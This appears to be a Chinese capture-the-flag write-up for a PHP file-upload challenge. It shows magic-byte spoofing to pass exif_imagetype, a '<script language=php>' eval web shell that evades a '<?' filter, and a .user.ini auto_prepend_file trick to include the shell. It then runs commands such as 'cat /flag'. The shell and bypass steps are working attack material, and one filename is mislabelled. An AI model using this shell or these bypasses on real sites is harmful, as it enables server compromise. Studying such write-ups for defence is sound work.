解题思路
一.打开题目:发现一个上传框,猜测上传一句话木马,获取后台shell![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/ad1264486fbcc1614ccc3304242f7554.png)
二.上传.php .phtml .等有关的PHP文件,都显示非法后缀![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/1f33070f463756b0db279469c6e6652c.png)
三.上传.htaccess文件,显示只能是图片类型文件
exif_imagetype函数:
exif_imagetype — 判断一个图像的类型说明
exif_imagetype ( string $filename ) : int
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
本题有exif_imagetype后端检测,为了绕过可以用文件头幻术,而且后端检测一直存在,我们后续上传的文件都必须加上相应的幻数头字节
- 在010editor十六进制编辑器中加上
FF D8 FF E0 00 10 4A 46 49 46 相当于JPG文件
47 49 46 38 39 61 GIF(相当于文本的GIF89a)
89 50 4E 47 相当于PNG文件 - 直接在notepad++中文件头位置加上GIF89a JGP PNG
四.接下来上传图片类型的图片马
传一个最普通的一句话木马:
GIF89a?
<?php @eval($_POST['messi']);?>
显示文件中不能包含<?
这里就需要用到另外一个一句话木马:
GIF89a?
<script language="php">@eval($_POST['messi']);</script>
五.更改后我们再次上传一个图片类型的文件,终于成功上传![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/33206988ef0fb7b4ed5fec2fc4dcc3f8.png#pic_center)
六.上传了图片类型的文件,但是如果不是PHP类型就还是没法利用,我们尝试下用BP抓包修改文件类型![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/a764141c3c8a172e1228786c0de81e48.png#pic_center)
放包后还是被检测出来了,非法后缀
七.本题就引出了一种新的绕过姿势.user.ini文件
原理:
.user.ini文件形成后门原理就是会在执行所有的php文件之前包含.user.ini所指定的文件。比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。
姿势:
我们发现成功上传1.gif文件后,出现了一个index.php文件,正好符合.user.ini的绕过姿势。
因此,我们只要上传好一个.user.ini文件后,再上传编写好的1.gif一句话木马文件,index.php文件就会将1.gif包含在里面,相当于不用修改后缀就能把控制网站目录权限的一句话木马包含在PHP文件里。
.user.php:
GIF89a (因为要绕过exif_imagetype后端对文件头类型的检测)
auto_prepend_file=1.gif
1.gif:
GIF89a?
<script language="php">@eval($_POST['messi']);</script>
八.获得网站所有目录的访问权
确认文件是否上传成功:
messi=phpinfo();
上传成功后,给了我们一个上传的路径,我们必须在此路径下来执行命令
第一种命令
查看目录下的文件,很显示此目录下都是我们刚刚上传的文件。1.gif很好的包含在了index.php文件中。
messi=system("ls ");
查看根目录文件,发现了flag文件
messi=system("ls /");
![在这里插入图片描述](https://img-blog.csdnimg.cn/e2b02a9b51854fb3a4fab887d6e49e3e.png#pic_center
打开根目录下的flag文件
messi=system("cat /flag");
第二种命令(这种方式更快)
扫描根目录:
scandir:按顺序读取指定目录下的所有文件及其路径
messi=var_dump(scandir("/"));
打印出flag所在文件中的内容
messi=var_dump(file_get_contents("/flag"));